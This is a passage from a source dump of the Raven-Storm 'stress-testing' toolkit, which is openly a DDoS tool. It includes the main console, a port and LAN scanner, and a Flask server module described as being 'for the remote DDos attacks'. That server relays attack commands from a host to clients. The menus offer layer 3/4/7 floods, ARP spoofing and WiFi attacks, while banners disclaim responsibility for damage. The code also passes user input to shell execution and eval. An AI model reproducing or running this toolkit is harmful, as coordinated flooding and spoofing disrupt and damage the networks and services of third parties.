occured, while sending data to the server.") 332 | try: 333 | print("[Press Enter to stop the attack.]") 334 | except KeyboardInterrupt: 335 | pass 336 | status = requests.post((var.server[2] + "set/agreed"), data={"password": var.server[3], "data": "False"}).text 337 | if status != "200": 338 | print("An error occured, while sending data to the server.") 339 | else: 340 | execute() 341 | 342 | 343 | def setup(console): 344 | console.ps1 = "L7> " 345 | console.add(Main(console), event) 346 | -------------------------------------------------------------------------------- /Raven-Storm/modules/main.py: -------------------------------------------------------------------------------- 1 | # 2020 2 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 3 | # The Raven-Storm Toolkit is published under the MIT Licence. 4 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 5 | # The CLIF-Framework is programmed and developed by Taguar258. 6 | # The CLIF-Framework is published under the MIT Licence. 7 | 8 | from os import chdir, path, system 9 | from random import choice 10 | from time import sleep 11 | 12 | import requests 13 | from CLIF_Framework.framework import console # noqa: I900 14 | from CLIF_Framework.framework import event # noqa: I900 15 | from CLIF_Framework.framework import module # noqa: I900 16 | from CLIF_Framework.framework import tools # noqa: I900 17 | 18 | try: 19 | import readline # noqa: F401 20 | except Exception: # noqa: S110 21 | pass 22 | 23 | 24 | event = event() 25 | tools = tools() 26 | 27 | 28 | class Main: 29 | def __init__(selfie, console): # noqa: N805 30 | global var 31 | global self 32 | self = selfie 33 | var = console # noqa: VNE002 34 | 35 | var.modules = {} 36 | self._add_commands() 37 | 38 | # Colors 39 | var.C_None = "\x1b[0;39m" 40 | var.C_Bold = "\x1b[1;39m" 41 | var.C_Green = "\x1b[32m" 42 | var.C_Violet = "\x1b[0;35m" 43 | var.C_Dark_Blue = "\x1b[34m" 44 | var.C_Red = "\x1b[31m" 45 | var.C_Yellow = "\x1b[33m" 46 | var.C_Cyan = "\x1b[36m" 47 | 48 | # var.C_Blink = "\x1b[5;39m" 49 | # #var.C_Magenta = "\x1b[35m" 50 | # var.C_BRed = "\x1b[1;31m" 51 | # var.C_BGreen = "\x1b[1;32m" 52 | # var.C_BYellow = "\x1b[1;33m" 53 | # var.C_BBlue = "\x1b[1;34m" 54 | # #var.C_BCyan = "\x1b[1;36m" 55 | var.C_Magenta = "\x1b[1;35m" 56 | 57 | var.session = [[False, ""], [False, []]] # [Save, path], [Load, Commands_to_run] 58 | var.server = [False, True, "ip", "pass", 1] # Enabled, HOST/CLIENT, URL, PASSWORD, COMMAND_NUMBER 59 | if len(var.user_argv) != 1: 60 | if var.user_argv[1] == "--connect": 61 | var.server = [True, False, var.user_argv[2], var.user_argv[3], 1] 62 | status = requests.post((var.server[2] + "reset"), data={"password": var.server[3]}).text 63 | 64 | # def generate_quote(self): 65 | # quote = choice(["Quote", 66 | # "Other Examples."]) 67 | 68 | # len_of_line = (int(59 / 2) - int(len(quote) / 2)) 69 | # splitter = "|" 70 | 71 | # text = (((len_of_line - 1) * " ") + splitter + quote + splitter) 72 | # text_len = len(text) 73 | # box_border = (((len_of_line - 1) * " ") + ("-" * (text_len - len_of_line + 1))) 74 | 75 | # return text + "\n" + box_border 76 | 77 | def banner(self): # """ + self.generate_quote() + """ 78 | # banner_fire_color = var.C_Cyan 79 | # banner_middle_color = var.C_Violet 80 | # banner_bottom_color = var.C_Dark_Blue 81 | banner_fire_color = var.C_Cyan 82 | banner_middle_color = var.C_Violet 83 | banner_bottom_color = var.C_Dark_Blue 84 | banner_logo = ("""C_Bo-----------------------------------------------------------C_W 85 | C_FIRE ( 86 | )\\ ) ) C_WC_Bov.""" + var.rsversion + """C_WC_FIRE 87 | (()/( ) ) ( ( /( ( ) 88 | /(_))( /( /(( ))\\ ( ( )\\()) ( )( ( 89 | (C_MID_C_FIRE)) )(_))(_))\\ /((_) )\\ ) )\\ (C_MID_C_FIRE))/ )\\ (()\\ )\\ 'C_MID 90 | | _ \\C_FIRE((C_MID_C_FIRE)C_MID_ _C_FIRE)((C_MID_C_FIRE)(C_MID_C_FIRE)) C_MID_C_FIRE(C_MID_C_FIRE/( ((C_MID_C_FIRE)C_MID| |C_FIRE ((C_MID_C_FIRE) ((C_MID_C_FIRE) C_MID_C_FIRE((C_MID_C_FIRE))C_MID 91 | | // _` |\\ V / / -_)| ' \\)) (_-<| _|/ _ \\| '_|| ' \\C_FIRE()C_BOT 92 | |_|_\\\\__,_| \\_/ \\___||_||_| /__/ \\__|\\___/|_| |_|_|_|C_W 93 | 94 | C_BoStress-Testing-Toolkit by Taguar258 (c) | MIT 2020 95 | Based on the CLIF Framework by Taguar258 (c) | MIT 2020C_W 96 | 97 | BY USING THIS SOFTWARE, YOU MUST AGREE TO TAKE FULL RESPONSIBILITY 98 | FOR ANY DAMAGE CAUSED BY RAVEN-STORM. 99 | RAVEN-STORM SHOULD NOT SUGGEST PEOPLE TO PERFORM ILLEGAL ACTIVITIES. 100 | C_Bo-----------------------------------------------------------C_W""") 101 | banner_logo = banner_logo.replace("C_W", var.C_None) 102 | banner_logo = banner_logo.replace("C_Bo", var.C_Bold) 103 | banner_logo = banner_logo.replace("C_FIRE", banner_fire_color) 104 | banner_logo = banner_logo.replace("C_MID", banner_middle_color) 105 | banner_logo = banner_logo.replace("C_BOT", banner_bottom_color) 106 | print(banner_logo) 107 | 108 | @event.event 109 | def on_ready(): 110 | system("clear || cls") 111 | self.banner() 112 | self.help() 113 | 114 | @event.event 115 | def on_command_not_found(command): 116 | print("") 117 | print("The command you entered does not exist.") 118 | print("") 119 | 120 | def exit_console(self): 121 | print("Have a nice day.") 122 | quit() 123 | 124 | @event.event 125 | def on_command(command): 126 | if var.session[0][0]: 127 | var.session[0][1].write(command + "\n") 128 | if var.server[0] and var.server[1]: 129 | status = requests.post((var.server[2] + "set/com"), data={"password": var.server[3], "data": command}).text 130 | if status != "200": 131 | print("") 132 | print("An error occured, while sending commands to the server.") 133 | print("") 134 | 135 | def _add_commands(self): 136 | event.commands(self.exit_console, ["exit", "quit", "e", "q"]) 137 | event.commands(self.run_shell, ".") 138 | event.commands(self.debug, "$") 139 | event.commands(self.help, "help") 140 | event.parser(self.run_debug_arg, "$") 141 | event.parser(self.run_shell_arg, ".") 142 | event.help(["exit", "quit", "e", "q"], "Exit Raven-Storm.") 143 | event.help("help", "View all commands.") 144 | event.help("upgrade", "Upgrade Raven-Storm.") 145 | event.help(".", "Run a shell command.") 146 | event.help("clear", "Clear the screen.") 147 | event.help("record", "Save this session.") 148 | event.help("load", "Redo a session using a session file.") 149 | event.help("ddos", "Connect to a Raven-Storm server.") 150 | event.help_comment("\nModules:") 151 | event.help("l4", "Load the layer4 module. (UDP/TCP)") 152 | event.help("l3", "Load the layer3 module. (ICMP)") 153 | event.help("l7", "Load the layer7 module. (HTTP)") 154 | event.help("bl", "Load the bluetooth module. (L2CAP)") 155 | event.help("arp", "Load the arp spoofing module. (ARP)") 156 | event.help("wifi", "Load the wifi module. (IEEE)") 157 | event.help("server", "Load the server module for DDos atacks.") 158 | event.help("scanner", "Load the scanner module.") 159 | 160 | var.modules["Layer4"] = console() 161 | var.modules["Layer3"] = console() 162 | var.modules["Layer7"] = console() 163 | var.modules["BL"] = console() 164 | var.modules["ARP"] = console() 165 | var.modules["Scanner"] = console() 166 | var.modules["Server"] = console() 167 | var.modules["WIFI"] = console() 168 | 169 | def run_shell(self, command): 170 | system(command) 171 | 172 | def check_session(self): 173 | if var.session[1][0] and len(var.session[1][1]) >= 1: 174 | if len(var.session[1][1][0]) >= 1: 175 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 176 | var.session[1][1][0] = var.session[1][1][0][1:] 177 | else: 178 | var.session[1][1] = var.session[1][1][1:] 179 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 180 | var.session[1][1][0] = var.session[1][1][0][1:] 181 | var.run_command = run_following 182 | 183 | @event.event 184 | def on_input(): 185 | self.check_session() 186 | if var.server[0] and not var.server[1]: 187 | while True: 188 | data = requests.post((var.server[2] + ("get/com%s" % var.server[4])), data={"password": var.server[3]}).text 189 | if data != "500": 190 | var.server[4] = var.server[4] + 1 191 | var.run_command = [data, data] 192 | print(var.ps1 + "\r") 193 | break 194 | else: 195 | sleep(1) 196 | 197 | def run_shell_arg(self, command): 198 | return tools.arg("Enter shell command: ", ". ", command) 199 | print("", end="") 200 | 201 | def debug(self, command): 202 | eval(command) 203 | 204 | def run_debug_arg(self, command): 205 | return tools.arg("Enter debug command: ", "$ ", command) 206 | print("", end="") 207 | 208 | @event.command 209 | def l4(): 210 | module("modules.l4.main", var.modules["Layer4"]) 211 | var.modules["Layer4"].session = var.session 212 | var.modules["Layer4"].server = var.server 213 | var.modules["Layer4"].run() 214 | 215 | @event.command 216 | def l3(): 217 | module("modules.l3.main", var.modules["Layer3"]) 218 | var.modules["Layer3"].session = var.session 219 | var.modules["Layer3"].server = var.server 220 | var.modules["Layer3"].run() 221 | 222 | @event.command 223 | def l7(): 224 | module("modules.l7.main", var.modules["Layer7"]) 225 | var.modules["Layer7"].session = var.session 226 | var.modules["Layer7"].server = var.server 227 | var.modules["Layer7"].run() 228 | 229 | @event.command 230 | def bl(): 231 | module("modules.bl.main", var.modules["BL"]) 232 | var.modules["BL"].session = var.session 233 | var.modules["BL"].server = var.server 234 | var.modules["BL"].run() 235 | 236 | @event.command 237 | def arp(): 238 | module("modules.arp.main", var.modules["ARP"]) 239 | var.modules["ARP"].session = var.session 240 | var.modules["ARP"].server = var.server 241 | var.modules["ARP"].run() 242 | 243 | @event.command 244 | def wifi(): 245 | module("modules.wifi.main", var.modules["WIFI"]) 246 | var.modules["WIFI"].session = var.session 247 | var.modules["WIFI"].server = var.server 248 | var.modules["WIFI"].run() 249 | 250 | @event.command 251 | def scanner(): 252 | module("modules.scanner.main", var.modules["Scanner"]) 253 | var.modules["Scanner"].session = var.session 254 | var.modules["Scanner"].server = var.server 255 | var.modules["Scanner"].run() 256 | 257 | @event.command 258 | def server(): 259 | module("modules.server.main", var.modules["Server"]) 260 | var.modules["Server"].session = var.session 261 | var.modules["Server"].server = var.server 262 | var.modules["Server"].run() 263 | 264 | def help(self): 265 | event.help_title("\x1b[1;39mHelp:\x1b[0;39m") 266 | tools.help("|-- ", " :: ", event) 267 | print("") 268 | 269 | @event.command 270 | def ddos(self): 271 | print("") 272 | try: 273 | ddos_host = input("Enter Host URL of the server: ") 274 | ddos_password = input("Enter the password: ") 275 | if "http" not in ddos_host: 276 | raise Exception("Wrong Host URL.") 277 | if "/" != ddos_host[-1]: 278 | ddos_host += "/" 279 | test_data = {"password": ddos_password} 280 | agreed = requests.post((ddos_host + "get/agreed"), data=test_data).text 281 | if agreed != "False": 282 | raise Exception("Wrong data was given.") 283 | ddos_role = tools.question("Do you want this to be used as a host?") 284 | status = requests.post((ddos_host + "reset"), data=test_data).text 285 | if status != "200": 286 | print("Something strange happened.") 287 | var.server[1] = ddos_role 288 | var.server[2] = ddos_host 289 | var.server[3] = ddos_password 290 | var.server[0] = True 291 | except Exception as ex: 292 | print("An exception occured.", ex) 293 | print("") 294 | 295 | @event.command 296 | def record(command): 297 | print("") 298 | try: 299 | to_file = tools.arg("Save to file: ", "record ", command) 300 | if path.isfile(to_file): 301 | raise Exception("File already exists.") 302 | else: 303 | new_file = open(to_file, "w") 304 | # new_file.write("# -- Session File") 305 | new_file.close() 306 | var.session[0][1] = open(to_file, "a") 307 | var.session[0][0] = True 308 | print("") 309 | print("Recording...") 310 | except Exception as ex: 311 | print("An error occured.", ex) 312 | print("") 313 | 314 | @event.command 315 | def load(command): 316 | print("") 317 | try: 318 | from_file = tools.arg("Load from file: ", "load ", command) 319 | if not path.isfile(from_file): 320 | raise Exception("File does not exist.") 321 | else: 322 | new_list = [] 323 | command_list = [] 324 | for item in open(from_file, "r").read().split("\n"): 325 | if item != "": 326 | new_list.append(item) 327 | if item in ["e", "q", "exit", "quit"]: 328 | command_list.append(new_list) 329 | new_list = [] 330 | elif item in ["l4", "l3", "l7", "ble", "arp", "scanner", "server"]: 331 | command_list.append(new_list) 332 | new_list = [] 333 | else: 334 | pass 335 | command_list.append(new_list) 336 | var.session[1][1] = command_list 337 | var.session[1][0] = True 338 | print("Repeating actions...") 339 | except Exception as ex: 340 | print("An error occured.", ex) 341 | print("") 342 | 343 | @event.command 344 | def upgrade(): 345 | try: 346 | chdir("/tmp") 347 | system("sudo git clone https://github.com/Taguar258/Raven-Storm.git") 348 | chdir("/tmp/Raven-Storm/") 349 | system("sudo bash ./install_to_bin.sh") 350 | print("[i] Deleting the temporary stored Raven-Storm...") 351 | system("sudo rm -rf -i /tmp/Raven-Storm/") 352 | var.stop() 353 | quit() 354 | except Exception: 355 | print("Cound not upgrade Raven-Storm. (Make sure to use sudo)") 356 | 357 | @event.command 358 | def clear(): 359 | system("clear || cls") 360 | 361 | @event.event 362 | def on_command(): 363 | print("", end="") 364 | 365 | @event.event 366 | def on_interrupt(): 367 | self.exit_console() 368 | 369 | 370 | def setup(console): 371 | console.ps1 = ">> " 372 | console.add(Main(console), event) 373 | -------------------------------------------------------------------------------- /Raven-Storm/modules/scanner/main.py: -------------------------------------------------------------------------------- 1 | # 2020 2 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 3 | # The Raven-Storm Toolkit is published under the MIT Licence. 4 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 5 | # The CLIF-Framework is programmed and developed by Taguar258. 6 | # The CLIF-Framework is published under the MIT Licence. 7 | 8 | import socket 9 | from os import system 10 | from time import sleep, time 11 | 12 | import requests 13 | import urllib3 14 | from CLIF_Framework.framework import event # noqa: I003, I900 15 | from CLIF_Framework.framework import tools # noqa: I900 16 | 17 | try: 18 | import nmap 19 | except ImportError: 20 | print("Please install the nmap module.") 21 | quit() 22 | 23 | event = event() 24 | tools = tools() 25 | 26 | 27 | class Main: 28 | def __init__(selfie, console): # noqa: N805 29 | global self 30 | global var 31 | self = selfie 32 | var = console # noqa: VNE002 33 | 34 | self._add_commands() 35 | 36 | # Colors 37 | var.C_None = "\x1b[0;39m" 38 | var.C_Bold = "\x1b[1;39m" 39 | var.C_Green = "\x1b[32m" 40 | var.C_Violet = "\x1b[34m" 41 | var.C_Dark_Blue = "\x1b[35m" 42 | var.C_Red = "\x1b[31m" 43 | 44 | var.nm = None 45 | var.nmapinstalled = False 46 | 47 | def _add_commands(self): 48 | event.commands(self.exit_console, ["exit", "quit", "e", "q"]) 49 | event.command(self.help) 50 | 51 | event.commands(self.run_shell, ".") 52 | event.commands(self.debug, "$") 53 | 54 | event.help_comment("|\n|-- Port scanning:") 55 | event.help("ports ip", "Get port of IP (get port i).") 56 | event.help("ports web", "Get port of web (get port w).") 57 | event.help_comment("|\n|-- Network scanning:") 58 | event.help("lan scan", "Get all Ips of Wifi.") 59 | event.help_comment("|\n|-- Domain scanning:") 60 | event.help("domain ip", "Get the IP by host.") 61 | # event.help("post scan", "Get all post variables of a Website.") 62 | event.help_comment("|\n|-- Speed testing:") 63 | event.help("speed down", "Return the time it needs to open a website.") 64 | event.help("speed ping", "Return the time it needs to ping an IP.") 65 | 66 | def banner(self): 67 | system("clear || cls") 68 | print(("""C_B----------------------------------------------------------C_W 69 | THE CREATOR DOES NOT TAKE ANY RESPONSIBILITY FOR DAMAGE CAUSED. 70 | THE USER ALONE IS RESPONSIBLE, BE IT: ABUSING RAVEN-STORM 71 | TO FIT ILLEGAL PURPOSES OR ACCIDENTAL DAMAGE CAUSED BY RAVEN-STORM. 72 | BY USING THIS SOFTWARE, YOU MUST AGREE TO TAKE FULL RESPONSIBILITY 73 | FOR ANY DAMAGE CAUSED BY RAVEN-STORM. 74 | EVERY ATTACK WILL CAUSE TEMPORARY DAMAGE, BUT LONG-TERM DAMAGE IS 75 | DEFFINITIFLY POSSIBLE. 76 | RAVEN-STORM SHOULD NOT SUGGEST PEOPLE TO PERFORM ILLEGAL ACTIVITIES. 77 | C_B----------------------------------------------------------C_W""").replace("C_W", var.C_None).replace("C_B", var.C_Bold)) 78 | self.help() 79 | 80 | def exit_console(self): 81 | print("\033[1;32;0mHave a nice day.") 82 | quit() 83 | 84 | def run_shell(self, command): 85 | print("") 86 | system(tools.arg("Enter shell command: \033[1;32;0m", ". ", command)) 87 | print("") 88 | 89 | def debug(self, command): 90 | print("") 91 | eval(tools.arg("Enter debug command: \033[1;32;0m", "$ ", command)) 92 | print("") 93 | 94 | @event.command 95 | def clear(): 96 | system("clear || cls") 97 | 98 | @event.event 99 | def on_ready(): 100 | try: 101 | var.nm = nmap.PortScanner() 102 | var.nmapinstalled = True 103 | except Exception as e: 104 | system("clear || cls") 105 | print("Please install the nmap package.") 106 | print("Some functions will not work without it.") 107 | print(e) 108 | try: 109 | input("[Press enter to continue without nmap]") # noqa: S322 110 | except Exception: 111 | quit() 112 | self.banner() 113 | 114 | @event.event 115 | def on_command_not_found(command): 116 | print("") 117 | print("The command you entered does not exist.") 118 | print("") 119 | 120 | def check_session(self): 121 | if var.session[1][0] and len(var.session[1][1]) >= 1: 122 | if len(var.session[1][1][0]) >= 1: 123 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 124 | var.session[1][1][0] = var.session[1][1][0][1:] 125 | else: 126 | var.session[1][1] = var.session[1][1][1:] 127 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 128 | var.session[1][1][0] = var.session[1][1][0][1:] 129 | var.run_command = run_following 130 | 131 | @event.event 132 | def on_input(): 133 | self.check_session() 134 | if var.server[0] and not var.server[1]: 135 | while True: 136 | data = requests.post((var.server[2] + ("get/com%s" % var.server[4])), data={"password": var.server[3]}).text 137 | if data != "500": 138 | var.server[4] = var.server[4] + 1 139 | var.run_command = [data, data] 140 | print(var.ps1 + "\r") 141 | break 142 | else: 143 | sleep(1) 144 | 145 | @event.event 146 | def on_interrupt(): 147 | print("") 148 | var.stop() 149 | 150 | @event.event 151 | def on_command(command): 152 | if var.session[0][0]: 153 | var.session[0][1].write(command + "\n") 154 | if var.server[0] and var.server[1]: 155 | status = requests.post((var.server[2] + "set/com"), data={"password": var.server[3], "data": command}).text 156 | if status != "200": 157 | print("") 158 | print("An error occured, while sending commands to the server.") 159 | print("") 160 | 161 | def help(self): 162 | event.help_title("\x1b[1;39mScanner Help:\x1b[0;39m") 163 | tools.help("| |-- ", " :: ", event) 164 | print("\033[1;32;0m") 165 | 166 | def portscan(self, ip): 167 | try: 168 | for p in range(1, 1500): 169 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 170 | res = sock.connect_ex((ip, p)) 171 | if res == 0: 172 | print("Port: %s" % str(p)) 173 | sock.close() 174 | except Exception as e: 175 | print("There was an error while executing.", e) 176 | 177 | def lanscan(self): 178 | try: 179 | gateways = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 180 | gateways.connect(("8.8.8.8", 80)) 181 | gateway = ".".join((gateways.getsockname()[0].split("."))[:len(gateways.getsockname()[0].split(".")) - 1]) 182 | gateways.close() 183 | var.nm.scan(hosts=("%s.0/24" % gateway), arguments="-sP") 184 | lanscandev = [(x, var.nm[x]['status']['state'], var.nm[x]["hostnames"][0]["name"], var.nm[x]["hostnames"][0]["type"]) for x in var.nm.all_hosts()] 185 | print("Gate way: %s.0" % gateway) 186 | for lanscandevice in lanscandev: 187 | print("%s %s %s %s" % (lanscandevice[0], lanscandevice[1], lanscandevice[2], lanscandevice[3])) 188 | except Exception as e: 189 | print("There was an error while executing.", e) 190 | 191 | def hbi(self, ip): 192 | return socket.gethostbyname(ip) 193 | 194 | def speedtest(self, url): 195 | try: 196 | if "http" not in url or "://" not in url: 197 | url = ("https://%s" % url) 198 | print("Testing download speed...") 199 | start = time() 200 | http = urllib3.PoolManager() 201 | response = http.request('GET', url) 202 | data = response.data # noqa: F841 203 | end = time() 204 | result = (end - start) 205 | return result 206 | except Exception as e: 207 | print("There was an error while executing.", e) 208 | 209 | def speedping(self, ip): 210 | try: 211 | print("Testing ping speed... (May require sudo)") 212 | start = time() 213 | system("ping -c 1 %s > /dev/null" % ip) 214 | end = time() 215 | result = (end - start) 216 | return result 217 | except Exception as e: 218 | print("There was an error while executing.", e) 219 | 220 | @event.command 221 | def domain_ip(command): 222 | print("") 223 | try: 224 | zw = (tools.arg("Domain: ", "domain ip ", command).replace("https://", "").replace("http://", "")) 225 | print(self.hbi(zw)) 226 | except Exception as e: 227 | print("There was an error while executing.", e) 228 | print("") 229 | 230 | @event.command 231 | def lan_scan(command): 232 | print("") 233 | if var.nmapinstalled: 234 | self.lanscan() 235 | else: 236 | print("Please install nmap.") 237 | print("") 238 | 239 | @event.command 240 | def ports_ip(command): 241 | print("") 242 | try: 243 | psi = tools.arg("IP: ", "ports ip ", command) 244 | self.portscan(psi) 245 | except Exception as e: 246 | print("There was an error while executing.", e) 247 | print("") 248 | 249 | @event.command 250 | def ports_web(command): 251 | print("") 252 | try: 253 | psw = tools.arg("Website: ", "ports web ", command) 254 | psww = socket.gethostbyname(psw.replace("https://", "").replace("http://", "")) 255 | self.portscan(psww) 256 | except Exception as e: 257 | print("There was an error while executing.", e) 258 | print("") 259 | 260 | @event.command 261 | def speed_down(command): 262 | print("") 263 | zw = self.speedtest(tools.arg("Website: ", "speed down ", command)) 264 | print("Result: %s seconds" % zw) 265 | print("") 266 | 267 | @event.command 268 | def speed_ping(command): 269 | print("") 270 | zw = self.speedping(tools.arg("IP: ", "speed ping ", command)) 271 | print("Result: %s seconds" % zw) 272 | print("") 273 | 274 | 275 | def setup(console): 276 | console.ps1 = "\033[1;32;0mScanner> " 277 | console.add(Main(console), event) 278 | -------------------------------------------------------------------------------- /Raven-Storm/modules/server/main.py: -------------------------------------------------------------------------------- 1 | # 2020 2 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 3 | # The Raven-Storm Toolkit is published under the MIT Licence. 4 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 5 | # The CLIF-Framework is programmed and developed by Taguar258. 6 | # The CLIF-Framework is published under the MIT Licence. 7 | 8 | from os import system 9 | from time import sleep 10 | 11 | import flask 12 | import requests 13 | from CLIF_Framework.framework import console # noqa: I900 14 | from CLIF_Framework.framework import event # noqa: I900 15 | from CLIF_Framework.framework import module # noqa: I900 16 | from CLIF_Framework.framework import tools # noqa: I900 17 | from flask import request 18 | 19 | try: 20 | import readline # noqa: F401 21 | except Exception: # noqa: S110 22 | pass 23 | 24 | 25 | event = event() 26 | tools = tools() 27 | 28 | 29 | class Main: 30 | def __init__(selfie, console): # noqa: N805 31 | global var 32 | global self 33 | self = selfie 34 | var = console # noqa: VNE002 35 | 36 | # Colors 37 | var.C_None = "\x1b[0;39m" 38 | var.C_Bold = "\x1b[1;39m" 39 | var.C_Green = "\x1b[32m" 40 | var.C_Violet = "\x1b[34m" 41 | var.C_Dark_Blue = "\x1b[35m" 42 | var.C_Red = "\x1b[31m" 43 | var.C_Yellow = "\x1b[33m" 44 | var.C_Cyan = "\x1b[36m" 45 | 46 | var.host = "127.0.0.1" 47 | var.port = "5261" 48 | var.password = "" 49 | 50 | def banner(self): # """ + self.generate_quote() + """ 51 | banner_fire_color = var.C_Cyan 52 | banner_middle_color = var.C_Violet 53 | banner_bottom_color = var.C_Dark_Blue 54 | banner_logo = ("""C_Bo-----------------------------------------------------------C_W 55 | C_FIRE ( 56 | )\\ ) ) 57 | (()/( ) ) ( ( /( ( ) 58 | /(_))( /( /(( ))\\ ( ( )\\()) ( )( ( 59 | (C_MID_C_FIRE)) )(_))(_))\\ /((_) )\\ ) )\\ (C_MID_C_FIRE))/ )\\ (()\\ )\\ 'C_MID 60 | | _ \\C_FIRE((C_MID_C_FIRE)C_MID_ _C_FIRE)((C_MID_C_FIRE)(C_MID_C_FIRE)) C_MID_C_FIRE(C_MID_C_FIRE/( ((C_MID_C_FIRE)C_MID| |C_FIRE ((C_MID_C_FIRE) ((C_MID_C_FIRE) C_MID_C_FIRE((C_MID_C_FIRE))C_MID 61 | | // _` |\\ V / / -_)| ' \\)) (_-<| _|/ _ \\| '_|| ' \\C_FIRE()C_BOT 62 | |_|_\\\\__,_| \\_/ \\___||_||_| /__/ \\__|\\___/|_| |_|_|_|C_W 63 | 64 | ----- The server module for the remote DDos attacks. ----- 65 | 66 | C_Bo-----------------------------------------------------------C_W""") 67 | banner_logo = banner_logo.replace("C_W", var.C_None) 68 | banner_logo = banner_logo.replace("C_Bo", var.C_Bold) 69 | banner_logo = banner_logo.replace("C_FIRE", banner_fire_color) 70 | banner_logo = banner_logo.replace("C_MID", banner_middle_color) 71 | banner_logo = banner_logo.replace("C_BOT", banner_bottom_color) 72 | print(banner_logo) 73 | 74 | @event.event 75 | def on_ready(): 76 | system("clear || cls") 77 | self.banner() 78 | self._add_commands() 79 | self.help() 80 | 81 | @event.event 82 | def on_command_not_found(command): 83 | print("") 84 | print("The command you entered does not exist.") 85 | print("") 86 | 87 | def exit_console(self): 88 | print("Have a nice day.") 89 | quit() 90 | 91 | def _add_commands(self): 92 | event.commands(self.exit_console, ["exit", "quit", "e", "q"]) 93 | event.commands(self.run_shell, ".") 94 | event.commands(self.debug, "$") 95 | event.commands(self.help, "help") 96 | event.parser(self.run_debug_arg, "$") 97 | event.parser(self.run_shell_arg, ".") 98 | event.help(["exit", "quit", "e", "q"], "Exit Raven-Storm.") 99 | event.help("help", "View all commands.") 100 | event.help(".", "Run a shell command.") 101 | event.help("clear", "Clear the screen.") 102 | event.help("host", "Enter a host ip.") 103 | event.help("port", "Enter the hosting port.") 104 | event.help("password", "Setup a password.") 105 | event.help("run", "Start the server.") 106 | 107 | def run_shell(self, command): 108 | system(command) 109 | 110 | def run_shell_arg(self, command): 111 | return tools.arg("Enter shell command: ", ". ", command) 112 | print("", end="") 113 | 114 | def debug(self, command): 115 | eval(command) 116 | 117 | def run_debug_arg(self, command): 118 | return tools.arg("Enter debug command: ", "$ ", command) 119 | print("", end="") 120 | 121 | def help(self): 122 | event.help_title("\x1b[1;39mServer Help:\x1b[0;39m") 123 | tools.help("|-- ", " :: ", event) 124 | print("") 125 | 126 | @event.command 127 | def clear(): 128 | system("clear || cls") 129 | 130 | @event.event 131 | def on_command(): 132 | print("", end="") 133 | 134 | def check_session(self): 135 | if var.session[1][0] and len(var.session[1][1]) >= 1: 136 | if len(var.session[1][1][0]) >= 1: 137 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 138 | var.session[1][1][0] = var.session[1][1][0][1:] 139 | else: 140 | var.session[1][1] = var.session[1][1][1:] 141 | run_following = [var.session[1][1][0][0], var.session[1][1][0][0]] 142 | var.session[1][1][0] = var.session[1][1][0][1:] 143 | var.run_command = run_following 144 | 145 | @event.event 146 | def on_input(): 147 | self.check_session() 148 | if var.server[0] and not var.server[1]: 149 | while True: 150 | data = requests.post((var.server[2] + ("get/com%s" % var.server[4])), data={"password": var.server[3]}).text 151 | if data != "500": 152 | var.server[4] = var.server[4] + 1 153 | var.run_command = [data, data] 154 | print(var.ps1 + "\r") 155 | break 156 | else: 157 | sleep(1) 158 | 159 | @event.event 160 | def on_interrupt(): 161 | self.exit_console() 162 | 163 | @event.event 164 | def on_command(command): 165 | if var.session[0][0]: 166 | var.session[0][1].write(command + "\n") 167 | if var.server[0] and var.server[1]: 168 | status = requests.post((var.server[2] + "set/com"), data={"password": var.server[3], "data": command}).text 169 | if status != "200": 170 | print("") 171 | print("An error occured, while sending commands to the server.") 172 | print("") 173 | 174 | @event.command 175 | def host(command): 176 | print("") 177 | var.host = str(tools.arg("IP: ", "host ", command)) 178 | if "." not in var.host: 179 | print("Invalid IP.") 180 | print("") 181 | 182 | @event.command 183 | def port(command): 184 | print("") 185 | try: 186 | var.port = int(tools.arg("Port: ", "port ", command)) 187 | except Exception as ex: 188 | print("An error occured.", ex) 189 | print("") 190 | 191 | @event.command 192 | def password(command): 193 | print("") 194 | var.password = str(tools.arg("Password: ", "password ", command)) 195 | print("") 196 | 197 | @event.command 198 | def run(): 199 | data = {"agreed": False, "commands": [""]} 200 | app = flask.Flask("Raven-Storm-Server") 201 | # app.config["DEBUG"] = True 202 | 203 | @app.route('/get/com', methods=["GET", "POST"]) 204 | def command_get(pos=0): 205 | if request.form['password'] == var.password: 206 | try: 207 | return str(data["commands"][int(pos)]) 208 | except Exception: 209 | return "500" 210 | else: 211 | return "Invalid Password" 212 | 213 | @app.route('/get/agreed', methods=["GET", "POST"]) 214 | def agreed_get(): 215 | if request.form['password'] == var.password: 216 | return str(data["agreed"]) 217 | else: 218 | return "Invalid Password" 219 | 220 | @app.route('/set/com', methods=["GET", "POST"]) 221 | def command_set(): 222 | if request.form['password'] == var.password: 223 | data["commands"].append(request.form["data"]) 224 | return "200" 225 | else: 226 | return "Invalid Password" 227 | 228 | @app.route('/set/agreed', methods=["GET", "POST"]) 229 | def agreed_set(): 230 | if request.form['password'] == var.password: 231 | data["agreed"] = request.form["data"] 232 | return "200" 233 | else: 234 | return "Invalid Password" 235 | 236 | @app.route('/reset', methods=["GET", "POST"]) 237 | def reset_data(): 238 | if request.form['password'] == var.password: 239 | data = {"agreed": False, "commands": [""]} 240 | return "200" 241 | else: 242 | return "Invalid Password" 243 | 244 | app.run(host=var.host, port=var.port, use_reloader=False) 245 | var.stop() 246 | quit() 247 | 248 | 249 | def setup(console): 250 | console.ps1 = "Server> " 251 | console.add(Main(console), event) 252 | -------------------------------------------------------------------------------- /Raven-Storm/modules/wifi/main.py: -------------------------------------------------------------------------------- 1 | # 2020 2 | # The Raven-Storm Toolkit was programmed and developed by Taguar258. 3 | # The Raven-Storm Toolkit is published under the MIT Licence. 4 | # The Raven-Storm Toolkit is based on the CLIF-Framework. 5 | # The CLIF-Framework is programmed and developed by Taguar258. 6 | # The CLIF-Framework is published under the MIT Licence. 7 | 8 | from os import getcwd, name, path, popen, system 9 | from sys import version 10 | from threading import Thread 11 | from time import sleep 12 | 13 | import 